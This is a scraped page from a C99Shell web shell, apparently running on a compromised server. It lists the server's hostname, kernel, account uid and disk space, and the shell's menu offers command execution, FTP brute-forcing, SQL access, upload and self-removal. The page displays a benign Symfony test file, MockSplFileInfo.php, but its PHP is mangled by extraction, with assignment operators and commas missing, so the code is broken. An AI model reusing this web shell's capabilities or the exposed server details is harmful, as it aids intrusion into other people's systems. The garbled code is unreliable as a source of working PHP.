!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Finder/Symfony/Component/Finder/Tests/Iterator/   drwxr-xr-x
Free 293.98 GB of 429.69 GB (68.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     MockSplFileInfo.php (3.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Finder\Tests\Iterator;

class 
MockSplFileInfo extends \SplFileInfo
{
    const   
TYPE_DIRECTORY 1;
    const   
TYPE_FILE      2;
    const   
TYPE_UNKNOWN   3;

    private 
$contents         null;
    private 
$mode             null;
    private 
$type             null;
    private 
$relativePath     null;
    private 
$relativePathname null;

    public function 
__construct($param)
    {
        if (
is_string($param)) {
            
parent::__construct($param);
        } elseif (
is_array($param)) {
            
$defaults = array(
              
'name'             => 'file.txt',
              
'contents'         => null,
              
'mode'             => null,
              
'type'             => null,
              
'relativePath'     => null,
              
'relativePathname' => null,
            );
            
$defaults array_merge($defaults$param);
            
parent::__construct($defaults['name']);
            
$this->setContents($defaults['contents']);
            
$this->setMode($defaults['mode']);
            
$this->setType($defaults['type']);
            
$this->setRelativePath($defaults['relativePath']);
            
$this->setRelativePathname($defaults['relativePathname']);
        } else {
            throw new \
RuntimeException(sprintf('Incorrect parameter "%s"'$param));
        }
    }

    public function 
isFile()
    {
        if (
$this->type === null) {
            return 
preg_match('/file/'$this->getFilename());
        };

        return 
self::TYPE_FILE === $this->type;
    }

    public function 
isDir()
    {
        if (
$this->type === null) {
            return 
preg_match('/directory/'$this->getFilename());
        }

        return 
self::TYPE_DIRECTORY === $this->type;
    }

    public function 
isReadable()
    {
        if (
$this->mode === null) {
            return 
preg_match('/r\+/'$this->getFilename());
        }

        return 
preg_match('/r\+/'$this->mode);
    }

    public function 
getContents()
    {
        return 
$this->contents;
    }

    public function 
setContents($contents)
    {
        
$this->contents $contents;
    }

    public function 
setMode($mode)
    {
        
$this->mode $mode;
    }

    public function 
setType($type)
    {
        if (
is_string($type)) {
            switch (
$type) {
                case 
'directory':
                    
$this->type self::TYPE_DIRECTORY;
                case 
'd':
                    
$this->type self::TYPE_DIRECTORY;
                    break;
                case 
'file':
                    
$this->type self::TYPE_FILE;
                case 
'f':
                    
$this->type self::TYPE_FILE;
                    break;
                default:
                    
$this->type self::TYPE_UNKNOWN;
            }
        } else {
            
$this->type $type;
        }
    }

    public function 
setRelativePath($relativePath)
    {
        
$this->relativePath $relativePath;
    }

    public function 
setRelativePathname($relativePathname)
    {
        
$this->relativePathname $relativePathname;
    }

    public function 
getRelativePath()
    {
        return 
$this->relativePath;
    }

    public function 
getRelativePathname()
    {
        return 
$this->relativePathname;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0932 ]--